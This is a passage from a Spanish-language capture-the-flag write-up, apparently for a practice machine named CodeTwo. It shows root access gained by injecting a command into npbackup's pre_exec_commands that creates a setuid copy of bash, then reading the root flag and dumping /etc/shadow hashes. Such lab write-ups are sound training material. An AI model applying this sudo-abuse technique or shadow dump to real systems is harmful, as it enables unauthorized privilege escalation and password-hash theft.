marco@codetwo:/dev/shm$ ssh root@localhost -i id_rsa
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:/tJyANpU1VQQ26JR0UR7+5bhDywmURGVMDitiJqBQcU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon 18 Aug 2025 07:56:23 AM UTC

  System load:           0.01
  Usage of /:            57.9% of 5.08GB
  Memory usage:          31%
  Swap usage:            0%
  Processes:             237
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.82
  IPv6 address for eth0: dead:beef::250:56ff:fe95:1092


Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Aug 18 07:56:23 2025 from 127.0.0.1
root@codetwo:~# whoami
whoami
root
root@codetwo:~# ls
root.txt  scripts
root@codetwo:~# cat root.txt
4560dd7d3e8dc05d0640662d8c2806c8
root@codetwo:~#

Backup - pre_exec

Encontramos que es posible la ejecucion de comandos mediante la opcion pre_exec_commands dentro del archivo de configuracion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: 
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /home/app/app/
      source_type: folder_list
      exclude_files_larger_than: 0.0
      pre_exec_commands: 
      - '/bin/bash -c "cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc;"' # <-----
    repo_opts:
      repo_password: 
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false
groups:
# [... snip ...]

Tras la ejecucion este muestra que el comando se ejecuto exitosamente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
marco@codetwo:/dev/shm$ sudo npbackup-cli -c npbackup.conf --backup
2025-08-18 08:00:52,383 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-18 08:00:52,402 :: INFO :: Loaded config 3C084066 in /dev/shm/npbackup.conf
2025-08-18 08:00:52,410 :: INFO :: Searching for a backup newer than 1 day, 0:00:00 ago
2025-08-18 08:00:53,981 :: INFO :: Snapshots listed successfully
2025-08-18 08:00:53,982 :: INFO :: No recent backup found in repo default. Newest is from 2025-04-06 03:50:16.222832+00:00
2025-08-18 08:00:53,982 :: INFO :: Runner took 1.57232 seconds for has_recent_snapshot
2025-08-18 08:00:53,982 :: INFO :: Running backup of ['/home/app/app/'] to repo default
2025-08-18 08:00:54,038 :: INFO :: Pre-execution of command /bin/bash -c "cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc;" succeeded with: # <---------- pre_exec_commands
None
2025-08-18 08:00:54,838 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions
2025-08-18 08:00:54,838 :: ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found
2025-08-18 08:00:54,838 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes
2025-08-18 08:00:54,838 :: ERROR :: Exclude file 'excludes/generic_excludes' not found
2025-08-18 08:00:54,838 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes
2025-08-18 08:00:54,838 :: ERROR :: Exclude file 'excludes/windows_excludes' not found
2025-08-18 08:00:54,838 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes
2025-08-18 08:00:54,839 :: ERROR :: Exclude file 'excludes/linux_excludes' not found
2025-08-18 08:00:54,839 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
using parent snapshot 35a4dac3

Files:           0 new,     4 changed,     8 unmodified
Dirs:            0 new,     7 changed,     2 unmodified
Added to the repository: 24.053 KiB (14.720 KiB stored)

processed 12 files, 48.910 KiB in 0:00
snapshot 01b52054 saved
2025-08-18 08:00:55,683 :: INFO :: Backend finished with success
2025-08-18 08:00:55,684 :: INFO :: Processed 48.9 KiB of data
2025-08-18 08:00:55,684 :: ERROR :: Backup is smaller than configured minmium backup size
2025-08-18 08:00:55,684 :: ERROR :: Operation finished with failure
2025-08-18 08:00:55,684 :: INFO :: Runner took 3.275457 seconds for backup
2025-08-18 08:00:55,684 :: INFO :: Operation finished
2025-08-18 08:00:55,689 :: INFO :: ExecTime = 0:00:03.308355, finished, state is: errors.
marco@codetwo:/dev/shm$

Tras lo anterior se ejecuto bash logrando acceso root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
marco@codetwo:/dev/shm$ ls -lah /usr/bin/sc
-rwsr-xr-x 1 root root 1.2M Aug 18 08:00 /usr/bin/sc
marco@codetwo:/dev/shm$ /usr/bin/sc -p
sc-5.0# whoami;id
root
uid=1000(marco) gid=1000(marco) euid=0(root) groups=1000(marco),1003(backups)
sc-5.0# cd /root
sc-5.0# ls
root.txt  scripts
sc-5.0# cat root.txt
4560dd7d3e8dc05d0640662d8c2806c8
sc-5.0#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
root@codetwo:~# cat /etc/shadow
cat /etc/shadow
root:$6$UM1RuabUYlt5BQ5q$ZtzAfYOaCaFxA8MGbyH1hegFpzQmJrpIkx7vEIKvXoVl830AXAx1Hgh8r11GlpXgY25LK8wF76nvQYQ1wLSn71:20104:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
lp:*:19430:0:99999:7:::
mail:*:19430:0:99999:7:::
news:*:19430:0:99999:7:::
uucp:*:19430:0:99999:7:::
proxy:*:19430:0:99999:7:::
www-data:*:19430:0:99999:7:::
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
messagebus:*:19430:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:20010:0:99999:7:::
sshd:*:20010:0:99999:7:::
systemd-coredump:!!:20016::::::
marco:$6$i5xRI7UVqeBITIby$NQKHXVvAWz7Vl3QkEwgxw0ItF9Lwen4gGCBi.YYiDQTdkgcPABaqfmBzheAM/9JA/9J7szqDzPaIDbkNqc.0V.:20022:0:99999:7:::
lxd:!:20016::::::
app:$6$5iH3Zik78QR8t9Se$bgRAig/YjbMzwOTFME629sLrrTn2avVD9pLFwz0X2zBTz0LYfNIEuw6w5s53NNu2K7IeEJK4D6j9PB6SR.UvC0:20022:0:99999:7:::
mysql:!:20026:0:99999:7:::
_laurel:!:20256::::::
root@codetwo:~# 
Share on

Dany Sucuc
WRITTEN BY
sckull